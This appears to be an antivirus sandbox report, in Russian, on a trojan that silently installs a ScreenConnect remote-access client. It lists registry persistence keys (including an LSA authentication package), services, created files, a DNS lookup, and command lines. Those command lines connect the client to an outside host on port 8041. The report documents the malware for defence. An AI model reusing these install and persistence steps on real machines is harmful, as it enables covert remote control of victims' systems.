Trojan.Siggen32.29778

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Classes\sc-ead62a2ea3c38279\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (ead62a2ea3c38279)\ScreenConnect.WindowsClient.exe" "%1"'
[HKLM\SYSTEM\CurrentControlSet\Control\Lsa] 'Authentication Packages' = 'msv1_0\n%ProgramFiles(x86)%\ScreenConnect Client (ead62a2ea3c38279)\ScreenConnect.WindowsAuthenticationPackage.dll'

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (ead62a2ea3c38279)] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (ead62a2ea3c38279)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (ead62a2ea3c38279)\ScreenConnect.ClientService.exe" "?e...

Создает следующие сервисы

'ScreenConnect Client (ead62a2ea3c38279)' %ProgramFiles(x86)%\ScreenConnect Client (ead62a2ea3c38279)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=aaa123213aaaaa.com&p=8041&s=1e7b99b9-36a1-4fa6-b778-b0d2e34f958a&k=BgIAAACkAABS...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\agent_e3b2cf33296647e9a9d6210bbf73ad3b.msi
%WINDIR%\installer\msib5f2.tmp-\screenconnect.installeractions.dll
%WINDIR%\installer\msib5f2.tmp-\microsoft.deployment.windowsinstaller.dll
%WINDIR%\installer\msib5f2.tmp-\microsoft.deployment.windowsinstaller.package.dll
%WINDIR%\installer\msib5f2.tmp-\screenconnect.core.dll
%WINDIR%\installer\msib5f2.tmp-\screenconnect.windows.dll
%WINDIR%\installer\msib5f2.tmp-\microsoft.deployment.compression.dll
%WINDIR%\installer\msib5f2.tmp-\microsoft.deployment.compression.cab.dll
%WINDIR%\installer\msib5f2.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~df1c2ec4ed32dce42c.tmp
%WINDIR%\installer\sourcehash{cafca574-2e85-317c-9d79-b7a4e2e91a09}
%WINDIR%\temp\~dfee996d3dce9e4353.tmp
%WINDIR%\temp\~df4898f990eebfc407.tmp
%WINDIR%\temp\~df2b5a143763c60aac.tmp
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.windowsauthenticationpackage.dll
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.windowsbackstageshell.exe
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.windowsbackstageshell.exe.config
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.windowscredentialprovider.dll
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.windowsfilemanager.exe
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.windowsfilemanager.exe.config
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\app.config
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\client.override.resources
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\client.resources
%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\system.config
%WINDIR%\installer\{cafca574-2e85-317c-9d79-b7a4e2e91a09}\defaulticon
%WINDIR%\temp\~df798f6a11f22366b3.tmp
%WINDIR%\temp\~df2e6bdcc67f6aa4be.tmp
%WINDIR%\temp\~dfc123b2ddf3bb1133.tmp
%WINDIR%\temp\~df5eb6a7ab322a6dc5.tmp
%WINDIR%\temp\~dfa7d835f408ffe889.tmp
%WINDIR%\temp\~df33e3ff8f7ec34c60.tmp
%WINDIR%\temp\~df35c099a2e5aa0a55.tmp
%WINDIR%\temp\~df1476743456845ad2.tmp
%TEMP%\content\212-4680-screenconnect.windowsclient.exe-16-48-52-836.dump
%TEMP%\content\212-4680-screenconnect.windowsclient.exe-16-48-52-914.dump
%TEMP%\content\212-4680-screenconnect.windowsclient.exe-16-48-52-920.dump

Удаляет файлы, которые сам же создал

%WINDIR%\installer\msib5f2.tmp-\customaction.config
%WINDIR%\installer\msib5f2.tmp-\microsoft.deployment.compression.cab.dll
%WINDIR%\installer\msib5f2.tmp-\microsoft.deployment.compression.dll
%WINDIR%\installer\msib5f2.tmp-\microsoft.deployment.windowsinstaller.dll
%WINDIR%\installer\msib5f2.tmp-\microsoft.deployment.windowsinstaller.package.dll
%WINDIR%\installer\msib5f2.tmp-\screenconnect.core.dll
%WINDIR%\installer\msib5f2.tmp-\screenconnect.installeractions.dll
%WINDIR%\installer\msib5f2.tmp-\screenconnect.windows.dll
%TEMP%\agent_e3b2cf33296647e9a9d6210bbf73ad3b.msi

Сетевая активность

UDP

DNS ASK aa####213aaaaa.com

Другое

Создает и запускает на исполнение

'%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=aaa123213aaaaa.com&p=8041&s=1e7b99b9-36a1-4fa6-b778-b0d2e34f958a&k=BgIAAACkAABSU0ExAAgAAAEAAQBBpSLvFjXLYneGTo%2f4u7nYiI6AUf6kSofVXGldvgcTyATxQQ7XNj6Uo44kSpKxc4%2bngZSLP1ePN...
'%ProgramFiles(x86)%\screenconnect client (ead62a2ea3c38279)\screenconnect.windowsclient.exe' "RunRole" "5fcd1a2e-eedd-4fce-b96b-6be5cb4c782d" "User"

Запускает на исполнение

'<SYSTEM32>\msiexec.exe' /i "%TEMP%\agent_e3b2cf33296647e9a9d6210bbf73ad3b.msi" /qb-
'%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\Installer\MSIB5F2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_899328 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments